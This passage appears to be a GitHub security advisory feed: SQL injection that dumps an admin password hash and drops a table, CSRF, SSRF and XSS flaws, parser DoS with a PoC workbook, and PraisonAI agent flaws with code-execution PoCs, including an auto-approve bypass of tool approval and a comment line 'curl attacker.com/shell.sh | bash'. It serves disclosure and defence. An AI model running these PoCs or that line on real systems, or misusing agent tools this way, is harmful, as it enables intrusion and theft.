== 4) Arbitrary SQL: exfiltrate jhiuser.passwordhash (admin) into a readable field == injection request HTTP 200 Read back - first product 'name' now equals the admin bcrypt hash: id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC id=2 name=notwithstanding

== 5) Arbitrary SQL: DROP TABLE product (availability) == injection request HTTP 200 After injection, listing products again: status: 500 detail: Table "PRODUCT" not found; SQL statement: SELECT COUNT() FROM product [42102-240]

== Done. The database has been modified / a table dropped by injected SQL. == <img width="1280" height="1519" alt="evidence-01-h2" src="https://github.com/user-attachments/assets/daceef8d-60ae-4edc-ab3e-c1020e1b0d77" />

D. Real output (PostgreSQL 16 run )

== 3) Error probe: sort=name' == status: 500 detail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement: SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY ename' ASC LIMIT 20 OFFSET 0

== 4) Exfiltrate jhiuser.passwordhash (admin) into a readable field == injection request HTTP 200 id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC id=1501 name=beta widget

== 5) DROP TABLE product == injection request HTTP 200 -> subsequent list: status 500 "Failure during data access" <img width="1280" height="891" alt="evidence-02-postgresql" src="https://github.com/user-attachments/assets/61cf5bf4-d957-4969-80e3-06d9626b1142" />

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
CSRF
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

The Malcolm kiosk Flask application exposes a POST /scriptcall/<script> endpoint with zero authentication and wildcard CORS (CORS(app)). An attacker can force the operator's browser to execute arbitrary management commands via CSRF, including control.py --wipe which permanently deletes all captured network traffic and forensic logs, or control.py --stop which blinds the security monitoring.

First published (updated )
Severity
7.1
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L

Malcolm file-upload component ships the upstream FilePond PHP server (pqina/filepond-server-php) largely unmodified: Dockerfile copies all upstream .php files and Malcolm only overwrites config.php and submit.php. Upstream index.php exposes a fetch API route that instructs the server to download an arbitrary URL with curl (including FOLLOWLOCATION) and, for HEAD requests, stores the fetched response body in the upload container's transfer directory and returns the transfer ID to the caller, enabling full readback of the fetched content.

First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Malcolm's nginx based reverse proxy contains a URL path normalization inconsistency between its Lua based role-based access control (RBAC) authorization layer and nginx's own request routing logic. An authenticated user can craft a specially formatted request path to bypass role-based restrictions and reach administrative or role gated endpoints they should not have access to. This affects all restricted paths protected by the RBAC authorization layer, including file upload, PHP server, htadmin, and authentication management interfaces.

First published (updated )
Severity
7.6
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Summary Applications generated by generator-jhipster v9.2.0 can persist user-controlled Blob ContentType values and later use those values as the MIME type for client-side Blob objects. The shared generated openFile helper creates an object URL from the Blob and opens it in a new window.

For Blob-bearing entities writable by normal authenticated users, this creates a stored XSS chain: attacker-controlled Blob content and MIME type are stored through the generated REST API, returned to privileged users, and opened as a same-origin Blob document from the generated Angular/React/Vue UI. Exploitability should be confirmed against the generated app’s CSP and target browsers.

Details The root cause is a trust-boundary failure across generated server and client code. The generated entity REST resource accepts request bodies for entity creation and update. Unless an entity-specific authority is configured, the template omits method-level @PreAuthorize, leaving the endpoint available to any authenticated user under the global /api/ security rule.

The generated DTO/domain/mapper flow stores the companion <field>ContentType property as a plain String and persists it with the entity Blob data. The relevant templates include generators/spring-boot/templates/src/main/java/package/entityPackage/service/dto/dtoClass.java.ejs:96-122 and generators/java/generators/domain/templates/src/main/java/package/entityPackage/domain/persistClass.java.jhi.ejs:124-140. The generated code does not restrict MIME types, reject active document formats, or validate that the declared content type matches the uploaded bytes.

The dangerous sink is openFile in generators/client/generators/common/templates/src/main/webapp/app/shared/jhipster/data-utils.ts.ejs:49-64. It uses the returned contentType as the Blob type, creates an object URL, and calls globalThis.open(fileURL). Generated Angular, React, and Vue entity pages pass server-returned Blob data and ContentType into this helper, allowing active HTML or SVG content to be opened as a document under the application origin depending on CSP and browser behavior.

Core vulnerable code path:

typescript // generators/client/generators/common/templates/src/main/webapp/app/shared/jhipster/data-utils.ts.ejs:49-64 export const openFile = (data: string, contentType: string | null | undefined): void => { contentType ??= '';

const byteCharacters = atob(data); const byteNumbers = new Array(byteCharacters.length); for (let i = 0; i < byteCharacters.length; i++) { byteNumbers[i] = byteCharacters.codePointAt(i); } const byteArray = new Uint8Array(byteNumbers); const blob = new Blob([byteArray], { type: contentType, }); const fileURL = globalThis.URL.createObjectURL(blob); const win = globalThis.open(fileURL); if (win) { win.onload = () => URL.revokeObjectURL(fileURL);

The shared client sink trusts the incoming contentType, builds a Blob with that type, and opens it through a generated object URL. Active MIME types can therefore become executable documents when opened, depending on CSP and browser behavior.

POC Preconditions: the target application is generated by generator-jhipster v9.2.0; it includes an entity with a Blob, AnyBlob, or ImageBlob field; the entity has no entityAuthority restriction or the attacker has write permission; the attacker has a normal account and a higher-privileged victim can view the entity detail or list page.

Reproduction: (1) Generate an application with a Blob-bearing entity, for example a Document entity with a payload AnyBlob field. (2) Authenticate as a normal user and send POST /api/documents with Authorization: Bearer <attacker-token> and Content-Type: application/json. The request body contains a Base64-encoded active document in the payload field and a payloadContentType value such as text/html. (3) Confirm that the API returns HTTP 201 and that GET /api/documents/{id} returns the same payload and payloadContentType. (4) Have a privileged user open the generated entity detail or list page and click the Blob field’s Open link. Expected result: the browser opens a blob:<target-origin>/... document; where CSP and browser behavior permit script execution, the document can read Web Storage tokens or call same-origin APIs such as /api/account and privileged /api/admin/ endpoints as the victim.

Impact A normal authenticated user can persist active content that a privileged user may open from the generated UI. Successful exploitation can result in stored cross-site scripting, JWT/localStorage/sessionStorage theft, sensitive API data disclosure, and privileged actions under the victim’s session. Default CSP may reduce exploitability, so deployments with relaxed CSP or browser behavior that allows script execution in opened Blob documents are at highest risk.

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L

Summary

The Pydantic AI development web chat UI (Agent.toweb(), clai web) did not check the content type of requests to its chat endpoint. This allowed a website visited by a developer to submit a request to a chat UI running on that developer's machine, causing the served agent to run and to execute its tools with the privileges and credentials of the local process.

Binding the web UI to localhost — the default — does not prevent this, because a page open in the developer's browser can reach the loopback address.

Impact

Applications and developers serving an agent through Agent.toweb() or clai web. The consequences depend on the tools the served agent exposes, and can include data disclosure as well as unwanted tool side effects. Tools marked requiresapproval=True were not protected either, because the endpoint trusts approval decisions relayed by the client.

Mitigation

Upgrade to a patched version. The chat endpoint now requires Content-Type: application/json and rejects other requests before the request body is parsed and before the agent runs. The bundled chat UI already sends this header; scripts and other non-browser clients that call the endpoint directly may need to be updated to send it.

If you cannot upgrade, don't run the web UI while browsing untrusted sites, stop it when you aren't using it, and don't serve an agent with side-effecting tools through it.

Credits - Thai Son Dinh from VinSOC Labs (R&D)

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

A truncated map32 header causes an out-of-bounds buffer read and throws RangeError instead of IncompleteBufferError. Applications that rely on IncompleteBufferError to wait for additional bytes may terminate a request, stream, or worker unexpectedly. No adjacent memory is disclosed because the buffer implementation checks bounds.

Patches

The decoder now validates the complete five-byte map32 header before reading its length and reports truncated input as IncompleteBufferError.

Workarounds

Require at least five bytes before decoding a value beginning with 0xdf, or catch RangeError and treat it as incomplete input only for truncated map32 headers.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

The streaming decoder recursively invokes itself for every complete value remaining in a chunk. A single chunk containing many small valid MessagePack values can exhaust the JavaScript call stack and interrupt the process or stream.

Patches

The streaming decoder now drains concatenated values iteratively with constant call-stack depth.

Workarounds

Limit the number of MessagePack values accepted in one chunk, or split large batches before passing them to the decoder stream.

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L

Summary

The Pydantic AI development web chat UI (Agent.toweb(), clai web) did not check the content type of requests to its chat endpoint. This allowed a website visited by a developer to submit a request to a chat UI running on that developer's machine, causing the served agent to run and to execute its tools with the privileges and credentials of the local process.

Binding the web UI to localhost — the default — does not prevent this, because a page open in the developer's browser can reach the loopback address.

Impact

Applications and developers serving an agent through Agent.toweb() or clai web. The consequences depend on the tools the served agent exposes, and can include data disclosure as well as unwanted tool side effects. Tools marked requiresapproval=True were not protected either, because the endpoint trusts approval decisions relayed by the client.

Mitigation

Upgrade to a patched version. The chat endpoint now requires Content-Type: application/json and rejects other requests before the request body is parsed and before the agent runs. The bundled chat UI already sends this header; scripts and other non-browser clients that call the endpoint directly may need to be updated to send it.

If you cannot upgrade, don't run the web UI while browsing untrusted sites, stop it when you aren't using it, and don't serve an agent with side-effecting tools through it.

Credits - Thai Son Dinh from VinSOC Labs (R&D)

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Deserialization of Untrusted Data vulnerability in MainWP MainWP Child mainwp-child allows Object Injection.This issue affects MainWP Child: from n/a through 6.2.1.

First published (updated )
Severity
7.5
XSS
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

A worksheet whose <row r="..."> number is far past Excel's 1,048,576-row limit makes File.GetRows and the Rows iterator loop once for every missing row. The row limit is checked in Rows.Next, but not in Rows.Columns, which also reads <row> elements. A 1.5 KB file with <row r="231999999999940"> after an ordinary first row keeps GetRows busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls GetRows or iterates Rows on an uploaded workbook can be tied up by a single request.

Details

Rows.Next checks the row number:

go rowNum, := attrValToInt("r", xmlElement.Attr) if rowNum > TotalRows { rows.err = ErrMaxRows return false }

But Rows.Columns reads the cells of the current row by consuming tokens until it reaches the next <row> element, and it sets rows.curRow from that element's r without the check (rows.go, around line 179 at 3985c1f):

go if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 { rows.curRow = rowNum }

After that, rows.curRow is 231999999999940, and each later Next() call takes the rows.curRow >= rows.seekRow shortcut and returns true without reading any XML. GetRows then calls Next() and Columns() once per row number from 2 to 231999999999940. The check in Next() never runs, because the oversized <row> element was already consumed by Columns().

If the oversized row is the first row, Next() reads it and the existing check works; TestGetRows covers only that case. The bug needs a valid row first.

Proof of concept

This script uses only the Python standard library and writes a 1.5 KB workbook:

python import zipfile parts = { "[ContentTypes].xml": '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>', "rels/.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>', "xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>', "xl/rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>', "xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="231999999999940"><c r="A231999999999940"><v>2</v></c></row></sheetData></worksheet>', } with zipfile.ZipFile("poc.xlsx", "w", zipfile.ZIPDEFLATED) as z: for name, xml in parts.items(): z.writestr(name, xml)

go f, := excelize.OpenFile("poc.xlsx") rows, err := f.GetRows("Sheet1") // does not return

Measured on v2.11.0 (linux/amd64), same file shape: a row number of 2,000,000,000 takes 8.3 s, 4,294,967,297 takes 17.5 s, and 231,999,999,999,940 did not finish in 15 minutes. That's linear, so about 11 days. Max RSS stays at about 10 MB.

The same pattern is in clusterfuzz-testcase-minimized-POIXSSFFuzzer-5937385319563264.xlsx in Apache POI's public test data (its sheet8.xml has <row r="231999999999940">). That's how this was found, by running excelize over POI's test files as part of differential testing with xlsx-lean (https://github.com/keithadler/xlsx-lean).

Suggested patch

Apply the same limit in Columns(), and have Next() stop once an error is recorded. With this change both files above return ErrMaxRows immediately. go test ./... passes (about 130 s). The new test case hangs without the change and passes in 0.015 s with it.

diff --- a/rows.go +++ b/rows.go @@ -97,6 +97,9 @@ type Rows struct { // Next will return true if it finds the next row element. func (rows Rows) Next() bool { + if rows.err != nil { + return false + } rows.seekRow++ if rows.curRow >= rows.seekRow { rows.curRowOpts = rows.seekRowOpts @@ -176,7 +179,10 @@ func (rows Rows) Columns(opts ...Options) ([]string, error) { rowIterator.inElement = xmlElement.Name.Local if rowIterator.inElement == "row" { rowNum := 0 - if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 { + if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum > TotalRows { + rows.err, rows.token = ErrMaxRows, nil + return rowIterator.cells, rows.err + } else if rowNum != 0 { rows.curRow = rowNum } else if rows.token == nil { rows.curRow++ --- a/rowstest.go +++ b/rowstest.go @@ -28,6 +28,18 @@ func TestGetRows(t testing.T) { f.checked = sync.Map{} , err = f.GetRows("Sheet1") assert.Equal(t, ErrMaxRows, err) + // Test get rows from a file with a row number over the limit after a valid + // row, which is read by Rows.Columns rather than Rows.Next: this used to + // iterate once per missing row, about 2.3e14 times here + f = NewFile() + f.Pkg.Store("xl/worksheets/sheet1.xml", fmt.Appendf(nil, <worksheet xmlns="%s"><sheetData><row r="1"><c><v>1</v></c></row><row r="231999999999940"><c><v>2</v></c></row></sheetData></worksheet>, NameSpaceSpreadSheet.Value)) + f.Sheet.Delete("xl/worksheets/sheet1.xml") + buf, err := f.WriteToBuffer() + assert.NoError(t, err) + f, err = OpenReader(buf) + assert.NoError(t, err) + , err = f.GetRows("Sheet1") + assert.Equal(t, ErrMaxRows, err) } func TestRows(t testing.T) {

Impact

Denial of service (CPU exhaustion) for any application that reads untrusted workbooks with GetRows or the Rows iterator. No authentication or user interaction is needed beyond the application accepting a file.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

With WebSocket compression enabled, the client inflates permessage-deflate messages with no limit on the decompressed size. It installed Netty's shared WebSocketClientCompressionHandler.INSTANCE, whose inflater is unbounded, and webSocketMaxFrameSize and webSocketMaxBufferSize only bound the compressed bytes, because the frame aggregator sits in front of the inflater.

A malicious or compromised WebSocket server, or anyone on the path of a ws:// connection, can therefore send a message of about 2 MiB that inflates to about 2 GiB, the most a Netty buffer can hold. The client then copies the inflated message again to hand it to the listener. That exhausts the heap of a typically sized JVM. Netty catches the resulting OutOfMemoryError and closes that connection, but while the buffer is live any other allocation in the process can fail too, and a server that keeps sending such messages, on one connection or several, keeps the client at heap exhaustion.

Who is Impacted

Only applications that enable WebSocket compression with setEnablewebSocketCompression(true), which is off by default, and connect to a WebSocket server that is untrusted, compromised, or reached over cleartext ws://.

Affected versions

3.x: up to and including 3.0.13 2.x: from 2.2.0, when WebSocket compression was added, up to and including 2.16.1

Patches

Fixed in 3.0.14. A new setting, webSocketMaxDecompressedFrameSize (setWebSocketMaxDecompressedFrameSize, or the org.asynchttpclient.webSocketMaxDecompressedFrameSize property), bounds how far a message may inflate, and a message that would go past it fails the connection. It defaults to 128000000 bytes, the same as webSocketMaxBufferSize, so a message is bounded alike whether or not it was compressed; a compressed message that inflates past that, which was accepted before, now fails the connection. With aggregateWebSocketFrameFragments turned off, the bound applies to each frame instead, and fragments are delivered one at a time. Set it lower if you enable compression and do not expect large messages. 0 disables the limit.

The 2.x line is end of life and will not receive a fix. Upgrade to 3.0.14.

Workarounds

Leave WebSocket compression disabled, which is the default.

Details

After the handshake the inbound pipeline is ws-decoder, ws-aggregator, PerMessageDeflateDecoder, ahc-ws: the aggregator, which enforces webSocketMaxBufferSize, sees each message before it is inflated. WebSocketClientCompressionHandler.INSTANCE is built with maxAllocation = 0, which Netty treats as unbounded, and Netty has deprecated it in favour of a constructor that takes a limit. RFC 6455 Section 10.4 asks an implementation to limit the size of a message after reassembly, and under RFC 7692 Section 6.2 the message delivered to the application is the decompressed payload.

This is a different path from the HTTP response decompression fixed under CVE-2026-85721, which never reached the WebSocket pipeline.

Attribution

AI-assisted tools were used to support discovery and analysis.

First published (updated )
Severity
7.4
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Impact The fix for GHSA-vvp4-63h8-v5pm in 3.0.13 folded the authenticated principal into the HTTP/1.1 connection pool key, so that a connection one principal authenticated with NTLM, Kerberos or SPNEGO is not handed to another. It left three cases out. In each, a socket that one identity authenticated can still be drawn by a request belonging to a different identity, and the server serves that request as the first one.

1. A login with no configured principal. Kerberos and SPNEGO against the ticket cache or the default JAAS login, which is the usual deployment, leave the realm's principal unset, and the key stayed unscoped in that case. A request to the same host that carries no credentials at all draws the authenticated socket and is served as the service identity. 2. The proxy realm. Only the origin realm went into the key. A connection authenticated to a proxy with NTLM or Negotiate is handed to requests of another proxy identity, or of none, and the proxy acts for them as the first identity. 3. Identities that share a user name. Only the principal string went into the key, so CORP\alice and OTHER\alice shared connections, as did two realms differing only in password, login context, keytab or service principal. The Kerberos login cache in SpnegoEngine had the same collision, and it was an unsynchronised map, so concurrent first use could hand one caller's login to another.

Who is Impacted Applications that authenticate with NTLM, Kerberos or SPNEGO, to an origin or to a proxy, and send requests under different identities, or both with and without credentials, to the same host through one client. The sharpest case is a service that calls an internal host under its own Kerberos identity and also fetches user-supplied URLs: a URL on that host is fetched as the service. Basic and Digest are not affected.

Affected versions 3.x: 3.0.13 2.x: 2.16.1

Earlier versions are covered by GHSA-vvp4-63h8-v5pm.

Patches Fixed in 3.0.14. The pool key now carries a digest of every field of the realm that decides which identity the connection ends up as, for the origin and the proxy separately, and a realm that authenticates the connection is scoped whether or not it names a principal. SpnegoEngine caches logins in a concurrent map keyed by every other field of that identity, and replaces a cached login when the password changes.

The 2.x line is end of life and will not receive a fix. Upgrade to 3.0.14.

Workarounds Use a separate AsyncHttpClient instance per identity, and do not share one between authenticated and unauthenticated requests to a host that uses NTLM or Negotiate. Disabling connection pooling also removes the reuse.

Incomplete fix of GHSA-vvp4-63h8-v5pm.

First published (updated )
Severity
8.1
Path Traversal, OS Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary SkillTools.runskillscript() accepts a scriptpath parameter and executes it via subprocess.run() without any path containment validation. While FileTools has validatepath() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @requireapproval decorator can be bypassed via YAML approve: for high-risk tools.

Details src/praisonai-agents/praisonaiagents/tools/skilltools.py (lines 69-119):

python def runskillscript(self, scriptpath: str, ...): scriptpath = os.path.expanduser(scriptpath) if not os.path.isabs(scriptpath): scriptpath = os.path.join(self.workingdirectory, scriptpath) scriptpath = os.path.abspath(scriptpath)

if not os.path.exists(scriptpath): return f"Error: Script not found at {scriptpath}"

# No path traversal check, no containment validation # Directly executes whatever is at that path: result = subprocess.run(cmd, ...)

By contrast, FileTools.validatepath() (src/praisonai-agents/praisonaiagents/tools/filetools.py, lines 42-78) properly validates that the resolved path stays within the working directory:

python def validatepath(self, filepath: str) -> str: # ... cwd = os.path.abspath(os.getcwd()) if os.path.commonpath([absolute, cwd]) != cwd: raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")

SkillTools has no equivalent check.

PoC

python import os, tempfile from praisonaiagents.tools.skilltools import SkillTools

Create a "safe" working directory (the jail) jail = tempfile.mkdtemp(prefix="skilljail")

Create a malicious script OUTSIDE the jail attackscript = os.path.join(tempfile.gettempdir(), "maliciousskill.sh") with open(attackscript, 'w') as f: f.write("#!/bin/bash\n") f.write("echo \"PROOFOFEXPLOIT: Script executed outside jail\"\n") f.write("echo \"USER: $(whoami)\"\n") f.write("echo \"HOSTNAME: $(hostname)\"\n") os.chmod(attackscript, 0o755)

Bypass approval (simulates Docker env or YAML approve:) os.environ["PRAISONAIAUTOAPPROVE"] = "true"

st = SkillTools() st.workingdirectory = jail # Pretend we're confined

Run script from OUTSIDE the jail — no path validation! result = st.runskillscript(attackscript) print(result) Output: PROOFOFEXPLOIT: Script executed outside jail USER: anushkavirgaonkar HOSTNAME: Anushkas-MacBook-Pro-2.local

Cleanup del os.environ["PRAISONAIAUTOAPPROVE"] os.unlink(attackscript) os.rmdir(jail)

Tested result: The script at /tmp/maliciousskill.sh executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including whoami and hostname. No path containment check exists — the absolute path is accepted and executed directly.

Impact - Arbitrary script execution: Run any script on the filesystem from any location - Chaining with file write: Write a malicious script via writefile (YAML-approvable as a high-risk tool), then execute it via runskillscript - Root-level impact in Docker: All PraisonAI Docker containers run as root (no USER directive), so an escaped script runs with full root privileges

First published (updated )
Severity
7.8
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling tools.py to execute arbitrary Python code when the workflow is executed.

Details The vulnerability is located in the workflow structured output resolution logic.

File: src/praisonai-agents/praisonaiagents/workflows/workflows.py

Method: AgentFlow.resolvepydanticclass

python if self.filepath: workflowdir = Path(self.filepath).parent toolspath = workflowdir / "tools.py"

if toolspath.exists(): spec = importlib.util.specfromfilelocation("tools", toolspath) toolsmodule = importlib.util.modulefromspec(spec) spec.loader.execmodule(toolsmodule) # Arbitrary code execution

This code is reached during step execution when a step uses a string outputpydantic:

python stepoutputpydantic = getattr(step, 'outputpydantic', None) if stepoutputpydantic and isinstance(stepoutputpydantic, str): resolvedclass = self.resolvepydanticclass(stepoutputpydantic)

filepath is set automatically by: - WorkflowManager.loadworkflow() (used by workspace discovery) - WorkflowManager.createworkflow()

It can also be set manually after loadyaml(): python wf = mgr.loadyaml("workflow.yaml") wf.filepath = "workflow.yaml"

The execmodule() call has no sandboxing and ignores the PRAISONAIALLOWTOOLS environment variables used elsewhere in the project.

PoC Create the following two files in the same directory:

/tmp/attack/attack.yaml yaml name: AttackWorkflow steps: - name: generate action: "Produce structured output" outputpydantic: MaliciousModel

/tmp/attack/tools.py python print("[RCE] Arbitrary code executed from tools.py")

import os with open("/tmp/rcesuccess.txt", "w") as f: f.write(f"RCE executed by PID {os.getpid()}")

class MaliciousModel: @classmethod def modeljsonschema(cls): return {"type": "object"}

Run the following Python code (adjust the path to your PraisonAI source):

python import sys sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")

from praisonaiagents.workflows import WorkflowManager from praisonaiagents.agent.agent import Agent

mgr = WorkflowManager() wf = mgr.loadyaml("/tmp/attack/attack.yaml")

wf.filepath = "/tmp/attack/attack.yaml"

for step in wf.steps: step.outputpydantic = "MaliciousModel" step.outputpydantic = "MaliciousModel" if not getattr(step, "agent", None): step.agent = Agent( name="researcher", role="Researcher", goal="Generate output", instructions="Return structured data" )

wf.start("trigger")

Impact Type: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.

Affected users include:

- Users of WorkflowManager(workspacepath=...), where workflow discovery automatically sets filepath. - Users of WorkflowManager.createworkflow(). - Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.

During workflow execution, a string outputpydantic reference causes the framework to automatically locate, import, and execute a sibling tools.py file.

As a result, code contained in tools.py executes with the privileges of the workflow runner without requiring an explicit import or user approval step.

Successful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.

This behavior also bypasses the PRAISONAIALLOWTEMPLATETOOLS / PRAISONAIALLOWLOCALTOOLS protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.

First published (updated )
Severity
8.4
Code Injection, Path Traversal
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.specfromfilelocation() + execmodule() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.

Details

src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):

python def loadpluginfile(self, filepath: Path) -> Optional[Plugin]: modulename = f"praisonplugin{filepath.stem}{id(filepath)}" spec = importlib.util.specfromfilelocation(modulename, filepath) module = importlib.util.modulefromspec(spec) sys.modules[modulename] = module spec.loader.execmodule(module) # Executes arbitrary Python code

if hasattr(module, "createplugin"): return module.createplugin() # Calls arbitrary function

src/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):

python Auto-discovery paths: 1. Project: ./.praisonai/plugins/ 2. User: ~/.praisonai/plugins/

No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.

PoC

python from praisonaiagents.plugins.discovery import loadplugin import tempfile, os

Create a "malicious" plugin testdir = tempfile.mkdtemp() pluginfile = os.path.join(testdir, 'evil.py') with open(pluginfile, 'w') as f: f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n' 'PROOF = "CODEEXECUTEDATIMPORTTIME"\n' '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n' 'def createplugin():\n return {"name": "evil"}\n')

Load it result = loadplugin(pluginfile) print(f"Result: {result}") # {'name': 'Evil Plugin', ...}

Verify code executed import sys for name, mod in sys.modules.items(): if 'evil' in name: print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODEEXECUTEDATIMPORTTIME"

Tested result: Plugin file was loaded via execmodule(), and the PROOF variable confirmed code execution at import time.

Impact

- Arbitrary code execution: Any .py file in the plugins directory is executed with full Python access - No user interaction required: Plugins are auto-discovered and loaded at framework initialization - Persistence: A planted plugin survives restarts and executes every time the framework starts - Attack chain: Combine with path traversal (writefile tool) to plant the plugin remotely

First published (updated )
Severity
7.8
XSS
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Obsidian Desktop before 1.14.0 contains a filter bypass vulnerability in the bundled MathJax 3.2.2 Safe component that allows attackers to execute arbitrary code by embedding a crafted \href value with a TAB byte in the URL scheme, causing filterURL to produce an empty protocol that bypasses the configured safeProtocols restrictions. Attackers can craft a note containing a malicious MathJax formula that renders as a javascript: URL anchor, which when clicked by the victim in Live Preview executes in the Node-integration-enabled vault renderer via require('childprocess'), achieving arbitrary operating system command execution as the desktop user.

First published (updated )
Severity
8.5
Infoleak, SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

PraisonAI's webcrawl agent tool performs a server-side HTTP fetch of an agent/attacker-influenced URL. SSRF is meant to be prevented by issafecrawlurl(), which resolves the hostname and rejects private/loopback/link-local IPs at validation time. The validated value is the URL string (not a pinned IP); the fetch backend then re-resolves the hostname at connection time. Because validation and connection perform two independent DNS resolutions, a DNS-rebinding domain that returns a public IP during validation and an internal IP during the fetch fully bypasses the guard, and the internal HTTP response body is returned to the caller.

This is SSRF with internal response disclosure (read-back) — not blind SSRF. Runtime-confirmed against PraisonAI 4.6.63; the crawl response returned the controlled internal markers PRAISONAIINTERNALSECRETCANARY7f3a91 / FAKEINTERNALTOKENDONOTUSE7f3a91. Severity High. Reachable by any actor who can influence the URL an agent crawls (e.g. a chat/bot/agent surface).

Details

Affected component - Package: praisonaiagents (PraisonAI), version 4.6.63. - File: src/praisonai-agents/praisonaiagents/tools/webcrawltools.py; tool webcrawl / crawlweb (part of the default bot tool set).

Vulnerable code / root cause

Code point 1 — check-time-only DNS validation, no IP pinning

Path: src/praisonai-agents/praisonaiagents/tools/webcrawltools.py

Function: issafecrawlurl

Snippet: python for info in socket.getaddrinfo(hostname, None): # resolve at CHECK time ip = ipaddress.ipaddress(info[4][0]) if (ip.isloopback or ip.isprivate or ip.islinklocal or ip.ismulticast or ip.isunspecified): return False return True Issue: the guard validates the hostname by resolving it once at check time. It does not pin the resolved IP and does not return/forward that IP to the HTTP client. Any later resolution can differ.

Code point 2 — guard runs, then the URL string is handed to the backend

Function: webcrawl

Snippet: python for u in rawurllist: if issafecrawlurl(u): # validate the URL string urllist.append(u) ... results = crawlwithhttpx(urllist) # or crawlwithcrawl4ai(urllist) Issue: attacker-controlled input (urls) is validated as a string; the backend then fetches that string and re-resolves DNS independently of the guard. There is no shared, pinned IP between check and fetch.

Code point 3 — crawlwithhttpx backend re-resolves (redirect re-validation does not stop rebinding)

Function: crawlwithhttpx

